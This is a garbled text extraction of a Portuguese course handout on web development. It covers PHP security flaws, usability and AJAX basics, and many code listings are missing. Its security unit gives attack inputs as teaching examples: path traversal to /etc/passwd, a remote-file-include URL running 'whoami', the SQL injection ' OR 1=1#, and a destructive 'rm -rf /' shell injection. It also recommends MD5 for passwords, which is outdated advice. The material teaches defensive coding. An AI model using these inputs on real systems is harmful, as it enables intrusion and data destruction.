to de Interfaces Na WEB

7/31/2019 to de Interfaces Na WEB

1/100

1

DESENVOLVIMENTO DEINTERFACES NA WEB


2/100

2

UNIDADE 1 - INTERFACES - SEGURANA ....................................................................................................................... 3

1.1 CONCEITOS DE SEGURANA ............................................................................................................................................ 31.2 INVASES EM PHP ....................................................................................................................................................... 4

UNIDADE 2 - INTERFACES - APRESENTAO ............................................................................................................... 16

2.1 USABILIDADE ............................................................................................................................................................. 16

UNIDADE 3 - INTERFACES - DESEMPENHO .................................................................................................................. 19

3.1 CONCEITOS ............................................................................................................................................................... 193.2 O QUE AJAX? .......................................................................................................................................................... 193.3 OS QUATRO PRINCPIOS DO AJAX: ................................................................................................................................. 213.4 COMO COMEAR? ...................................................................................................................................................... 233.5 COMO TESTAR O NAVEGADOR? ..................................................................................................................................... 233.6 REQUISITANDO EM DIVERSOS BROWSERS: ........................................................................................................................ 253.7 ENVIANDO A REQUISIO - PARMETROS DO ENVIO DA REQUISIO ..................................................................................... 273.8 VERIFICANDO OS DADOS RETORNADOS PELO SERVIDOR: ..................................................................................................... 293.9 RETORNOS EM TEXTO SIMPLES: ..................................................................................................................................... 29

UNIDADE 4 - ESTRUTURA DE UM DOCUMENTO XML .................................................................................................. 374.2 MONTANDO UM DOCUMENTO XML COM DOM E PHP. ................................................................................................... 394.3 MONTANDO UM XML EM PHP DE FORMA TEXTUAL......................................................................................................... 434.4 RETORNO DO CONTEDO EM XML PARA O AJAX .............................................................................................................. 44

UNIDADE 5 - REQUISIES DINMICAS EM AJAX AO PHP .......................................................................................... 49

5.1 CRIANDO UM DOCUMENTO XML TEXTUAL COM CONEXO AO BANCO DE DADOS .................................................................... 49

UNIDADE 6 - MANIPULANDO O DOM EM JAVASCRIPT PARA RECURSOS COM AJAX ................................................... 58

6.1 ACESSO AOS ESTILOS DOS COMPONENTES DO DOCUMENTO................................................................................................. 586.2 BIBLIOTECAS LIVRES: A FACILIDADE NA MANIPULAO DE DOCUMENTOS................................................................................ 626.3 CRIANDO UMA JANELA ARRASTVEL ............................................................................................................................... 65

6.4 CRIANDO UMA VORE DE MENUS ............................................................................................................................... 696.5 CRIANDO EFEITO LIGHTBOX ....................................................................................................................................... 746.6 ORDENANDO TABELAS ................................................................................................................................................. 756.7 AMPLINADO IMAGENS ................................................................................................................................................. 776.8 CRIANDO AVALIAES................................................................................................................................................. 796.9 MENUS EM ABAS ....................................................................................................................................................... 816.10 EXIBINDO DICAS EM LINKS ............................................................................................................................................ 856.11 EXIBINDO UM CALENDRIO .......................................................................................................................................... 88

UNIDADE 7 - DREAMWEAVER E O AJAX ...................................................................................................................... 91

7.1 ABORDAGEM SIMPLES SOBRE OS COMPONENTES DO SPRY ................................................................................................. 917.2 EFEITOS SPRY COM SPRYEFFECTS................................................................................................................................ 95

UNIDADE 8 - TRABALHO FINAL: .................................................................................................................................. 998.1 APLICANDO OS RECURSOS NA PRTICA: ........................................................................................................................... 99


3/100

Desenvolvimento de Interfaces na Web

3

Unidade 1 - Interfaces - Segurana

1.1 Conceitos de Segurana

Quando pensamos desenvolvimento de interfaces para Web inevitvel observarmos questes desegurana e desempenho. Neste sentido so cada vez mais crescentes as tentativas depadronizao e definies de formatao de linguagem, processos e protocolos de comunicao.

Por isso, o termo Segurana da Informao que est relacionada com proteo de um conjunto dedados, no sentido de preservar o valor que possuem, ganha cada vez mais destaque.

Os trs principais atributos que so levados em considerao para a anlise e orientao, alm doplanejamento e implantao da segurana so: CIA (Confidentiality, Integrity and Availability) --

Confidencialidade, Integridade e Disponibilidade.Outros atributos importantes so a irretratabilidade e a autenticidade. Graas a evoluo docomrcio eletrnico e das redes sociais com a Internet 2.0, a privacidade tambm uma grandepreocupao.

Os atributos bsicos (segundo os padres internacionais) so os seguintes:

Confidencialidade- o atributo que limita o acesso a informao to somente s somentedas pessoas/sistemas que possuem autorizao.

Integridade o atributo que garante que a informao manipulada mantenha todas ascaractersticas originais estabelecidas pelo proprietrio da informao, incluindo controle demudanas e garantia do seu ciclo de vida (nascimento, manuteno e destruio).

Disponibilidade- propriedade que garante que a informao esteja sempre disponvel parao uso legtimo, ou seja, por aqueles usurios autorizados pelo proprietrio da informao.

Existem algumas metodologias de segurana que so utilizadas na tentativa de frear as

constantes invases que muitos sistemas vem sofrendo, so elas:

Mecanismos de criptografia. Permitem a transformao reversvel da informao de formaa torn-la ininteligvel a terceiros. Utiliza-se para tal, algoritmos determinados e uma chave


4/100


4

secreta para, a partir de um conjunto de dados no criptografados, produzir uma seqncia dedados criptografados. A operao inversa a decifrao.

Assinatura digital. Um conjunto de dados criptografados, associados a um documento doqual so funo, garantindo a integridade e autenticidade do documento associado, mas no a

sua confidencialidade. Mecanismos de garantia da integridade da informao. Usando funes de "Hashing" ou de

checagem, consistindo na adio.

Mecanismos de controle de acesso. Palavras-chave, sistemas biomtricos, firewalls,cartes inteligentes.

Mecanismos de certificao. Atesta a validade de um documento.

Integridade. Medida em que um servio/informao genuno, isto , est protegido contraa personificao por intrusos.

Honeypot: o nome dado a um software, cuja funo detectar ou de impedir a ao de

um cracker, de um spammer, ou de qualquer agente externo estranho ao sistema, enganando-o, fazendo-o pensar que esteja de fato explorando uma vulnerabilidade daquele sistema.

Protocolos seguros: uso de protocolos que garantem um grau de segurana e usam algunsdos mecanismos citados aqui

1.2 Invases em PHP

A linguagem PHP uma das mais difundidas na Internet e por conseqncia tambm a quepossui o maior nmero de tentativas, e muitas vezes sucesso, de invaso. A utilizao da

combinao de PHP, Mysql e Apache para o desenvolvimento de sistemas e-commerce, abriu umamplo caminho para a atuao dos crackers.

fundamental observar alguns procedimentos simples, mas que podem fazer muita diferena,para a segurana de seu sistema. Vejamos alguns deles.

1.2.1 Variveis Globais

Este tipo de invaso j bem antigo, e foi tratado em muitos artigos e fruns de discusso, noentanto ainda comum encontrarmos programadores que no se preocupam com este tipo defalha na segurana

No php.ini (arquivo de configurao do PHP) a varivel register_globals at a verso 4.2.0 opadro era ON (ativada), porm a partir dela o padro tornou-se OFF (desativada), mas muitosservidores ainda usam ON, pois muitos scripts antigos foram feitos com base o register_globalsON, ento obviamente no funcionam quando o padro OFF.

O problema quando register_globals est ON que as variveis GET/POST se tornam variveisglobais.


5/100


5

Por exemplo:

http://site.com.br/teste.php?id=4&cidade=poa

Como register_globals est ON, as variveis id e cidade tornaram-se variveis globais.

O problema que isso permite que variveis sejam injetadas via url. Um script com grandevulnerabilidade poderia ser um como esse:

No entanto se fosse digitado no browser o endereo: teste.php?logado=1.

O script entenderia que a pessoa est logada, pois $logado se tornou uma varivel global com ovalor 1.

Uma forma mais simples de corrigir o problema seria assim:


6/100


6

}

?>

Desse modo, at mesmo se o $logado for injetado via url, ele se tornaria 0.Com register_globals OFF, variveis que so passadas como parmetro via url, no se tornamvariveis globais. A forma certa de utilizar o simples uso das chamadas variveis super globais,tais como $_GET, $_POST, $_SERVER, etc.

O uso das super globais sempre recomendado por razes de segurana e tambm por deixaro cdigo mais limpo e seguro. Pois atreves de seu uso saberemos quais so as variveis queesto sendo envidas pelos mtodos GET/POST e quais no esto.

1.2.2 Arquivos include

Seguir as orientaes de encapsulamento de cdigo e trabalho em camadas, com o uso depadres como o MVC altamente recomendvel. Para tal, na linguagem PHP utilizamos achamadas a arquivos externos com o uso dos comandos require ou include.

Vejamos o seguinte exemplo:

Deste modo, possvel colocar contedos especficos em arquivos separados. Exemplo:about.php, download.php, e o link para essas paginas seriam algo como:

index.php?page=about, index.php?page=downloads.php.No entanto nosso cdigo ficaria vulnervel. No caso de a requisio a nossa pgina ser realizadada seguinte formada:

index.php?page =.. /.. /.. /.. /.. /.. /.. /etc/passwd


7/100


7

Dessa forma seu arquivo de senhas fica vulnervel para ser visualizado, ou qualquer outro arquivoque esta rodando sob o PHP (HTTPD ou Apache normalmente), pode ser lido por qualquerusurio.

O outro problema se o parmetro 'URL Wrapper', tambm localizado no arquivo php.ini, estivermarcado como ON (que o valor por padro), com isso possvel fazer um upload de um arquivopara outro Web Server.

Vejamos outro exemplo:

Neste caso, ao inserirmos na barra de enderos o seguinte valor:index.php?page=http://outrosite.com.br/hax0r.txt&cmd=whoami poderemos entorodar qualquer comando em seu servidor ou poderemos mostrar detalhes da conexo com obanco de dados, ou seja, basicamente rodar qualquer cdigo PHP.

A funo include recupera um arquivo de um servidor, e ento executa isso como um cdigo PHP,algo que obviamente muito perigoso.

Um mtodo seguro de incluir arquivos seria como o abaixo:


8/100


8

} else {

echo '404 - Not Found'; //ou algo similar

}

} else {echo 'Contedo do site'; /rodap do site

}

?>

Ento o link: index.php?page=about (assumiria about.php dentro do diretrio 'includes').

Se o arquivo que ser includo no contm cdigo PHP e possui apenas texto, ento o correto autilizao da funo readfile() ao invs de include()/require(), pois ambos iroexecutar qualquer cdigo PHP que o arquivo includo contiver, no entanto a funo readfile()no o far.

Usar um diretrio separado para incluir arquivos uma tima for de evitar urls como:"includes/http://blah.com/lala.txt" que neste caso no ir funcionar. No realmente necessrio esta prtica se utilizarmos a funo eregi() como filtro nas urls, no entanto recomendvel no deix-los na raiz.

comum encontrarmos arquivos que sero includos com a extenso '.inc'. Esta prtica perigosa, pois arquivos com a extenso 'inc' no so interpretados como arquivos com um cdigoPHP pelo Web Server e seu contedo ser visualizado pelo navegador como um texto.

Esta prtica expe muitas vezes arquivos, importantes como os arquivos de configurao que

podem conter senhas de banco de dados ou outros dados considerados sigilosos.Arquivos que sero includos devem ter a extenso .php, como por exemplo: config.inc.php.Obviamente a manuteno do inc claramente um definio utilizada para um melhor controledos arquivos que esto sendo inseridos

1.2.3 SQL injection

SQL injection ganhou muita visibilidade nos ltimos devido ao grande numero de sites que temseus bancos de dados expostos a falhas.

A exposio dos sistemas de gerenciamento de banco de dados definida pela construo dacodificao da linguagem que faz conexo com o mesmo, mas tambm por regras internas desegurana. Estas regras podem, por exemplo, definir se o usurio que realiza a conexo com obanco possui permisso de visualizar a estrutura de todas as tabelas ou mesmo sua excluso.

Aqui iremos nos deter apenas na fragilidade do cdigo PHP, que pode permitir a invaso do bancode dados.


9/100


9

Vamos nos deter em um simples sistema de login, que valida usurios do banco dados:


10/100


10

C++, tudo aps o (#) passa a ser ignorado pois passa a ser um comentrio, ignorando averificao da senha. Obviamente isto s ir funcionar se voc tiver um usurio vlido.

No entanto, voc no precisa necessariamente utilizar um usurio vlido pode-se realizar o testeusando:

' OR 1=1#

O resultado disto na converso da SQL com as variveis expandidas::


11/100


11


12/100


12

Outra falha comum esquecer a checagem do login em determinadas partes do cdigo, comopginas internas que so visualizadas aps o login. Vejamos este exemplo:

postnews.php:

Se um usurio no autenticado fosse a essa pagina, ento um erro iria aparecer. Se, no entanto

um valor vindo do campo POST fosse enviado, seria possvel ter acesso ao news.php sem estarautenticado.

muito fcil de esquecer-se de proteger pedaos especficos de cdigos, especialmente quandousurios logados e no logados tem acesso mesma pagina e iro ver contedos diferentes,como tambm existem paginas que apenas quem est logado pode ter acesso. Sempre se lembrede proteger qualquer parte do cdigo com checagens de login antes de executar o resto do cdigo.

1.2.5 Cross Site Scripting (CSS/XSS)

Cross Site Scripting feito quando voc no filtra tags HTMLs vindas de um usurio e acabaexecutando elas, por exemplo:


13/100


13

exit;

} else {

//blah

}?>

search.php?q=alert("hello");

Em uma busca mal sucedida exibiria isto;

"Sua busca por alert("hello"); no encontrou resultados "

Esse Javascript seria interpretado pelo navegador e uma alerta seria exibido.Enquanto esse exemplo pode parecer relativamente inofensivo, possvel colocar coisas que iropegar dados de cookies, podendo at roubar sesses.

Os dados devem ser checados antes de serem interpretados sempre, como no caso de SQLinjection, em XSS tambm, existem dois mtodos para fazer isso:

. A funo strip_tags(); Ir remover todas as tags HTML de uma string;

. A funo htmlspecialchars();Que ir converter caracteres especiais do HTML para um tipo

que no poder ser interpretado no browser como funo do HTML e sim texto.

O correto que nenhum valor vindo de um usurio deve ser executado sem uma devidachecagem antes.

1.2.6 Ver cdigo fonte


14/100


14

Exitem alguns sites que permitem atravs de funes especficas que seus usurios vejam ocdigo fonte de determinadas pginas. Normalmente um link chamadoviewsource.php?file=about.phpou algo do gnero.

Esta funcionalidade apesar de ser bem interessante, geralmente acaba deixando o site vulnervelpara que se possa ver qualquer cdigo fonte de um arquivo no servidor. Algo que certamente no desejado, pois certos arquivos podem conter senhas de bancos de dados etc.

O problema com isto que voc pode fazer o seguinte viewsource.php?file=./config.phpe isso ir checar com os caracteres adicionais ./.

O melhor jeito de fazer isso :

Sendo que a funo stristr(), ir exibir o contedo da string $file a partir do trecho config.php,eliminando assim os caracteres adicionais.

1.2.7 Comandos shell


15/100


15

Comandos shells so outro exemplo de falha de vulnerabilidade. No PHP executar comandosshell fcil, pois existem varias funes para isso, como system(), exec(), popen(), backticks,passthru, etc.

De forma padro no devemos utilizar qualquer valor vindo de um usurio para executar como umcomando shell:

Se algum colocar: x; rm; -rf; /; isso causaria muitos problemas..

Voc pode usar a funo escapeshellcmd(); para se proteger de dados perigosos vindos deusurios. Est funo escapa qualquer caractere em uma string que possa ser utilizado paraenganar um comando shell para executar comandos arbitrrios. E tambm aconselhvel usaralguma regex para ter certeza. O ideal no utilizar valores de um usurio em comandos shell.

1.2.8 Senhas de banco de dados

extremamente aconselhvel utilizar algum tipo de encriptao no armazenamento de suassenhas. O MD5 um dos tipos de encriptao suportado pelo PHP e recomendado para a maioriadas aplicaes. Existem outras metodologias de encriptao e devem ser avaliadas sempre que sepensa em segurana de dados.


16/100


16

Unidade 2 - Interfaces - Apresentao

2.1 Usabilidade

O termo usabilidade na Informtica usado para definir a facilidade com que as pessoas podem

utilizar um sistema a fim de realizar uma tarefa especfica e importante. A usabilidade pode

tambm se referir aos mtodos de mensurao da usabilidade deste mesmo sistema.

A usabilidade est diretamente ligada ao dilogo nainterfacee a capacidade dosoftwareem

permitir que o usurio alcance suas metas de interao com o sistema. Ser de fcil aprendizagem,

permitir uma utilizao eficiente e apresentar poucos erros, so os aspectos fundamentais para a

percepo da boa usabilidade por parte do usurio. Mas a usabilidade pode ainda estar

relacionada com a facilidade de ser memorizada e ao nvel de satisfao do usurio.

A necessidade de entender as necessidades dos usurios no ambiente virtual facilita a

compreenso do contedo disponibilizado, fazendo-o auto-suficientes para navegar pelos diversos

contedos. At quem tem dificuldade motora ou problemas de navegao por falta de

conhecimento tcnico poder alcanar o que deseja o produtor da informao, se os processos de

usabilidade forem respeitados, deixando o usurio da pgina web mais vontade, mais

independentes.


17/100


17

2.1.1 Usurio como foco

No desenvolvimento de um sistema ou adaptao de novos mdulos para um sistema

importante que se siga um padro de mercado ou quando possvel agradar o mximo decaractersticas semelhantes as de uma interface que o usurio alvo j esteja acostumado.

Um dos pontos importantes na aceitao da interface a maneira com que o desenvolvedor ir

"driblar" a poluio visual que pode acabar tornando uma interface muito diferente dos padres de

uma interface amigvel.

O paradigma de desenvolvimento de uma interface com o usurio deve permitir a realizao de

sucessivos ciclos de "anlise/concepo/testes", com a necessria retro-alimentao dos

resultados dos testes, de um ciclo a outro. A estratgia consiste em, a cada ciclo, identificar e

refinar continuamente o conhecimento sobre o contexto de uso do sistema e as exigncias emtermos de usabilidade da interface. Na seqncia dos ciclos se constroem verses intermedirias

da interface do sistema que so submetidas a testes de uso, em que os representantes dos

usurios simulam a realizao de suas tarefas. Inicialmente eles participaro de simulaes

"grosseiras", usando maquetes, mas, com o avano do desenvolvimento, eles recorrero a

prottipos e verses acabadas do sistema, em simulaes mais e mais fidedignas.

O objetivo avaliar a qualidade das interaes e levar em conta os resultados dessas avaliaes

para a construo de novas verses das interfaces. Se implementada desde cedo no

desenvolvimento, tal estratgia pode reduzir o risco de falhas conceituais do projeto, garantindoque, a cada ciclo, o sistema responda cada vez melhor s expectativas e necessidades dos

usurios em suas tarefas.

Uma interface amigvel, deve fazer com que o usurio se sinta bem ao utilizar o sistema e o

mesmo deve transmitir a ele uma sensao de que fcil de ser operado. Deve ter comandos

intuitivos e visuais caprichados.

Muitas vezes a simplicidade e a padronizao o segredo para colocar o sistema que est sendo

desenvolvido ao pblico com uma interface amigvel.Interfaces muito cheias de animaes e imagens, ao contrrio do que se pensa, criam inmeras

dificuldades ao usurio em navegar ou clicar em um boto especfico no programa ou consultar

uma informao, alm de transmitir uma impresso de que o mesmo complexo e difcil de ser

operado.


18/100


18

sempre indicado que se use cores padres do sistema operacional. Cores fortes, como

vermelho, devem ser usadas apenas em situaes que devem chamar a ateno do usurio.

O software a ser utilizado deve ter atributos (ergonmicos e de funcionalidade) que propiciem ou

mesmo incentivem o desenvolvimento de posturas autnomas de aprendizado. preciso

identificar que atributos so estes. O j tradicional e conhecido conceito de interface amigvel deve

ser revisto a partir de tais hipteses. As hipteses construdas na dimenso pedaggica podem

agora ser analisadas da perspectiva tcnica.

A primeira hiptese afirma que a tarefa que o usurio vai realizar deve ser prioritria na definio

da interface.

J a segunda hiptese, sustenta que o conhecimento das caractersticas tcnicas do hardware e

do software deve ocorrer na medida em que o uso do equipamento progride, ou seja, na medidaem que a necessidade desse conhecimento se impe ao sujeito que aprende. No mbito do

projeto de interfaces tal hiptese est relacionada com o princpio geral, pelo qual, deve-se

minimizar a carga de conhecimentos externos ao domnio da realizao da tarefa, necessrios

operao do ambiente.

A anlise da terceira hiptese na abrangncia das caractersticas tcnicas da ferramenta no to

simples. Esta hiptese fixa que o aprendizado autnomo pressupe relaes de cooperao entre

os aprendizes. Ora, a nvel tcnico a implementao de sistemas que permitam o trabalho

cooperativo entre vrios usurios tem, por excelncia, sido buscada com a tecnologia de redes de

computadores, com os sistemas que permitem o compartilhamento de tarefas como a construo

distribuda de base de dados (por exemplo).


19/100


19

Unidade 3 - Interfaces - Desempenho

3.1 Conceitos

Quando pensamos no desenvolvimento de interfaces para WeB, no podemos deixar de pensarem questes de performance. Mesmo com o aumento constante da velocidade da difuso dabanda larga, a Internet ainda possui um volume significativo de usurios que ainda possuemconexes de baixa performance.

Alem disso, o uso cada vez mais comum dos meios digitais para comercio eletrnico, tem elevadoo grau de importncia dado a performance. Neste mbito, apenas alguns segundos podem sercruciais para a definio da concretizao ou no de um volume maior de vendas.

Existem vrias tecnologias que se popularizaram para este tipo de aplicao, dentre elas podemoscitar .net, php, jsp, javascript, XML, mas cada uma delas tem sua participao no desenvolvimentode sistemas para web.

A combinao de linguagens mais popular a chamada Ajax, da qual veremos mais detalhes nasprximas unidades.

3.2 O que Ajax?

Ao contrrio do que muitos pensam Ajax no uma nova tecnologia, e sim a juno de tecnologias

existentes no mbito web que unidas melhoram tanto a performance quanto a sistemtica denavegao em website nos quesitos de usabilidade e funcionalidade.

AJAX a abreviao de Assyncronous Javascript and XML, ou seja, o acesso a dados de formaAssncrona no servidor utilizando-se linguagem Javascript no navegador e arquivos XML geradospor alguma linguagem dinmica no servidor.

Arquivos XML (eXtensible Markup Language) tem-se tornado populares na difuso ecompartilhamento de dados e acessibilidade para dispositivos moveis por exemplo. Veremos embreve o formato e a maneira que estes arquivos so interpretados.

O surgimento desta tecnologia tratado junto com uma serie de outras modificaes epadronizaes na web que formam o paradigma da Web 2.0, onde conceitos que visam o confortodo usurio e a facilidades na navegao imperam junto com padres j estabelecidos com o w3c.

Veja abaixo um diagrama que expressa um pouco melhor este conceito:


20/100


20

Como sabemos devido ao Javascript ser uma linguagem Client Side no possvel realizar aleitura de um arquivo texto comum pelo Javascript, pelo menos de forma que este reflita asinformaes e comportamentos retornados pelo servidor, desta maneira ficamos apegados uma

forma de poder executar um arquivo dinmico do outro lado, sem que este seja exibido, ou sequeracessado diretamente pelo cliente.

A forma que estes dados sero retornados ser em XML ou atravs de uma String que sertratada por ns no Javascript.

Exemplos simples de aplicaes com Ajax, so simples formulrios web que no necessitam serrecarregados para buscarem determinadas informaes do servidor, como o caso de o usurioselecionar um estado e logo aps aparecem as opes de seleo de cidades do respectivoestado selecionado no processo anterior. Desta forma ganhamos tempo de navegao esatisfao do usurio que est navegando em nosso site.

Veja abaixo alguns outros exemplos prticos:

Carrinho de compras: utilizando-se da manipulao em DOM o usurio pode arrastar e soltarprodutos diretamente dentro do carrinho, sem a necessidade de esperar por inmeras requisiesda pagina ao servidor.

Formulrios com grande nmero de campos: possibilidade de selecionar os campos que seropreenchidos e estes j auto formularem os dados disponveis em outros elementos do formulrio,sem o recarregamento da pgina.

Auto completar: recurso j disponvel em aplicativos que so executados no desktop tambmpode ser implementado em um site da internet, sugerindo palavras conforme os caracteres que ousurio digita no teclado em determinado campo do formulrio.


21/100


21

3.3 Os quatro princpios do AJAX:

3.3.1 O navegador hospeda uma aplicao e no o contedo:

Em uma aplicao web clssica o navegador faz o papel de uma espcie de terminal burro. Eleno sabe absolutamente nada do que o usurio esta realmente realizando em suas aesconseqentes. Sendo que inmeras solicitaes devem ser feitas ao servidor pela sesso dousurio para que o contedo do site seja atualizado.

Quando a sesso do usurio iniciada no servidor, o site simplesmente carrega uma interfacecom o que foi retornado, sendo que qualquer outra interao do usurio ser processada no lado

do servidor, e novamente o site ser recarregado para que estas sejam atualizadas (exemploclssico de comercio eletrnico).

J em uma aplicao AJAX a parte lgica da operao movida para o navegador (lado docliente), como mostrado abaixo:


22/100


22

Uma aplicao AJAX bem desenvolvida elimina diversas etapas de requisies ao servidor,deixando a aplicao agir de forma mais inteligente, e ganhando-se assim um considervel tempode navegao no site. Veja o grfico abaixo:

Portanto, vamos a partir de agora abordar um novo conceito no processo de requisio de dados,e dividir melhor as tarefas, bem vindo ao AJAX.


23/100


23

3.4 Como comear?

Um dos maiores empecilhos da utilizao do Javascript sempre foi a questo de compatibilidadeentre os navegadores em uso, atualmente temos divergncias entre os mtodos de acessibilidadedos navegadores mais populares (Mozilla Firefox e Internet Explorer).

Para isso existem maneiras de solicitar as requisies identificando qual o navegador que estsendo usado pelo usurio no momento de acesso ao site.

Utilizaremos um mtodo conector conhecido como Requisitor XML via HTTP. Para acessarmos

este elemento criaremos uma funo que simplesmente realizar este processo. O navegadorMicrosoft utiliza um componente adjacente acessado por controle ActiveXObject.

3.5 Como testar o navegador?

Sabemos que no Javascript se alguma instruo ou erro de sintaxe ocorre durante o processomuitas etapas so abortadas e muitas vezes um erro gerado e retornado na tela do navegador,para o cliente isso sinnimo de site mal estruturado e desenvolvido, surge ento a possibilidadede tratarmos estes erros e retornarmos algo mais Suva no momento de tratar este problema.

Tentativa e retorno (TRY and CATCH)

Veja o exemplo a seguir:

var s;

var a = new Array("ma", "banana")

s = a[3].substring(0,4);

document.write(s);

O exemplo acima se executado ir retornar um erro dizendo que o vetor no possui a posiosolicitada, e que no possvel executar a funo substring no elemento desejado.


24/100


24

Caso quisssemos executar este mesmo processo de forma que caso algo de errado sejaretornado um erro coerente para o usurio poderamos usar o TRY and CATCH.

Veja a atualizao do cdigo abaixo:var s;

var a = new Array("ma", "banana")

try{

s = a[3].substring(0,4);

}catch(e){

s = Ocorreu um erro no script!;

}

document.write(s);

O TRY and CATCH um teste seqencial que sempre retorna um valor e que visa tratar um erroque possa interromper a execuo do script de forma grosseira.

A sintaxe dada da seguinte maneira:

try {

bloco com cdigo normal mas que pode gerar erros

} catch(exceo) {bloco com cdigo capaz de fazer a recuperao dos erros

}

Ou em pseudocdigo:

tentar {

bloco com cdigo normal mas que pode gerar erros

} retorna(exceo) {

bloco com cdigo capaz de fazer a recuperao dos erros

}

NOTA: Apesar de estas instrues no fazerem parte do padro ECMAScript, elas so suportadaspor todos os browsers importantes e so de grande utilidade para a construo de cdigo robusto.

Em qual circunstncia ser usado o TRY and CATCH?


25/100


25

A acessibilidade ao XML varia de navegador para navegador, sendo que se tentarmos acess-lode uma forma no disponvel no navegador do usurio uma srie de erros ser retornada.

3.6 Requisitando em diversos browsers:

Utilizando-se da funo TRY and CATCH criaremos uma funo especifica para utilizarmos oAJAX no navegador do usurio, est usar os seguintes mtodos para acessar estescomponentes:

Internet Explorer:

Active XObject(Msxml2.XMLHTTP):

AtiveXObject(Microsoft.XMLHTTP);

Firefox, Opera, Saffari, e outros:

XMLHttpRequest;

Onde:

XMLHTTP: Objeto Javascript que torna possvel a comunicao assncrona com o servidor, sem anecessidade de recarregara pgina por completo. Este objeto fazer parte da especificao DOMnvel 3.

Veja um exemplo da funo abaixo:

function criaxmlhttp(){

try{

xmlhttp = new XMLHttpRequest();

}catch(e){

try{

xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");

}catch(e1){

try{

xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");

}catch(e2){

xmlhttp = false;

document.write("Navegador no da suporte a Ajax!");

}

}

}


26/100


26

}

Com esta funo iremos ao longo do curso prosseguir com a consulta assncrona de dados noservidor, sendo que como podemos analisar em ultimo caso retornado um erro informado que onavegador do usurio no compatvel com AJAX.


27/100


27

3.7 Enviando a requisio - parmetros do envio darequisio

Aps termos estabelecido qual o objeto de conexo ser utilizado pelo cliente para a conexoassncrona, deveremos ento criar uma nova funo que ser responsvel por requisitardeterminado arquivo dinmico no servidor e realizar assim a solicitao e futuramente a leitura dosdados retornados pelo servidor.

Para realizar a requisio utilizaremos do mtodo OPEN no qual sero passados trs parmetros:

objeto.open(MTODO, URL, ASSINCRONA?);

Onde:

Objeto: objeto XmlHTTP gerado pela funo anteriormente vista.

Mtodo: GET ou POST.

Assncrona: valor booleano no qual TRUE representa que a conexo assncrona, e necessita deum retorno dado pelo servidor, e FALSE caso contrrio.

Vejamos ento como ficar a nossa funo juntamente de alguns outros mtodos essenciais noAjax:

function acessa(elemento,valor){

criaxmlhttp();

xmlhttp.open("GET",arquivo01.php,true);

xmlhttp.send(null);

}

Como podemos observar, primeiramente chamada a funo criaxmlhttp(), a qual responsvelpor criar um objeto xmlhttp no qual logo aps utilizamos em conjunto com o mtodo OPEN. A

funo acima demonstra a conexo a um arquivo em PHP chamado arquivo01.php.

Logo aps chamado o mtodo send o qual podemos retornar algum tipo de valor para oservidor, mas neste caso simplesmente retornamos como NULL significando assim que no hmais nada a ser realizado no processo.


28/100


28

3.7.1 Analisando os 5 estados da requisio

Aps termos efetuado a etapa acima nossa funo ainda no est concluda, aps o documentodinmico ter sido solicitado ao servidor, este passar por 5 estados de requisio, os quais podemser observados a seguir e devem ser analisados em nosso algoritmo conforme o tipo deimplementao que estamos realizando:

Estados:

0: No inicializado (unitialized)

1: Carregando (loading)

2: Carregado (loaded)

3: Interativo (interactive)

4: Concludo (completed)Dependendo da funcionalidade do seu script voc utilizar testes para verificar qual tipo de estadoem que se encontra a leitura do documento no lado do servidor para o lado do cliente, sendo quepara executar este processo precisaremos chamar dois outros mtodos em nossa funo:

onreadystatechange: mtodo que avalia a situao do documento carregado, e em cadamudana do estado de leitura realiza determinados processos impostos pelo algoritmo.

objeto.readyState: mtodo que retorna o estado de leitura do documento o qual foi solicitada aexecuo e carregamento.

Logo, devemos ento incorporar estes mtodos em nossa funo, ficando a mesma da seguintemaneira:

function acessa(){

criaxmlhttp();

xmlhttp.open("GET","arquivo01.php,true);

xmlhttp.onreadystatechange = function(){

if(xmlhttp.readyState == 4)

alert(Dados Carregados!);}

xmlhttp.send(null);

}


29/100


29

Observe que neste caso s nos interessa o estado de leitura 4, ou seja, estamos executandodeterminada ao somente quando o servidor tiver retornado por completo os dados dodocumento dinmico e sua execuo estiver sido completada do outro lado.

Laboratrio:

Tendo em vista o que foi ensinado at o momento j temos idia de como so analisadas asrequisies em Ajax de uma forma macro.

Elabore um script aproveitando as funes vistas anteriormente de forma que seja solicitada aexecuo de um script dinmico em no servidor e enquanto este no estiver completamentecarregado seja exibida em uma DIV a mensagem: Aguarde: carregando...

3.8 Verificando os dados retornados pelo servidor:

Os dados que foram lidos pelo Javascript na conexo assncrona so retornados pelo servidor deduas formas:

Formato Texto (simples);

Formato XML (mais organizado, porem mais complexo);

Como teremos um capitulo introdutrio ao XML, iremos primeiramente tratar os dados recebidosem forma de texto, mas para isso teremos que implementar um script simples que far o papel donosso j mencionado arquivo01.php responsvel por retornar os dados solicitados ao servidor.

Crie um novo arquivo e salve-o no mesmo diretrio que o arquivo HTML e JS que estamosutilizando. Nomeie-o como arquivo01.php.

Este arquivo conter simplesmente a seguinte linha:

3.9 Retornos em texto simples:

Para realizamos a leitura dos dados passados do servidor para o cliente no caso simples, ou seja,formato texto teremos de criar uma terceira funo responsvel por coletar e interpretar essesdados, dando assim o tratamento necessrio a eles conforme a nossa necessidade.


30/100


30

Quando tratamos de dados em formato texto temos um mtodo chamado responseText ondeficam armazenados todos os dados que foram retornados do servidor no momento de execuo doscript solicitado.

Crie ento uma nova funo a qual chamaremos de monta(), ficando ela como mostrado abaixo:

function monta(){

var dados = xmlhttp.responseText;

}

Como voc pode observar criada uma varivel dados na qual o mtodo responseText chamado em conjunto com o objeto j criado anteriormente xmlhttp.

Todos os dados retornados pelo servidor esto agora armazenados dentro desta varivel,podendo ser tratados como uma varivel simples Javascript.

Criaremos no mesmo documento uma DIV com o nome de CONTEUDO e injetaremos dentro delao contedo retornado pelo servidor:

function monta(){


document.getElementById(CONTEUDO).innerHTML = dados;

}

Desta forma deveremos simplesmente chamar esta funo dentro da nossa j implementadafuno acessa(), ficando a mesma disponibilizada da seguinte forma:

function acessa(){

criaxmlhttp();

xmlhttp.open("GET","arquivo01.php,true);


if(xmlhttp.readyState == 4){

monta();

else

document.getElementById(CONTEUDO).innerHTML ="Carregando...";

}


31/100


31

xmlhttp.send(null);

}

ATENO: nunca se esquea de finalizar a funo acessa() com o mtodo xmlhttp.send, poiscaso contrrio o servidor fica aguardando uma finalizao da conexo assncrona e no retorna osdados para o browser.

DICA: da mesma maneira que voc solicita a execuo de um arquivo ao servidor, voc podepassar para eles variveis que sero recebidas do outro lado pelo mtodo que voc as enviou,veja o exemplo:

xmlhttp.open(GET,arquivo01.php?id_pessoa=+15,true);

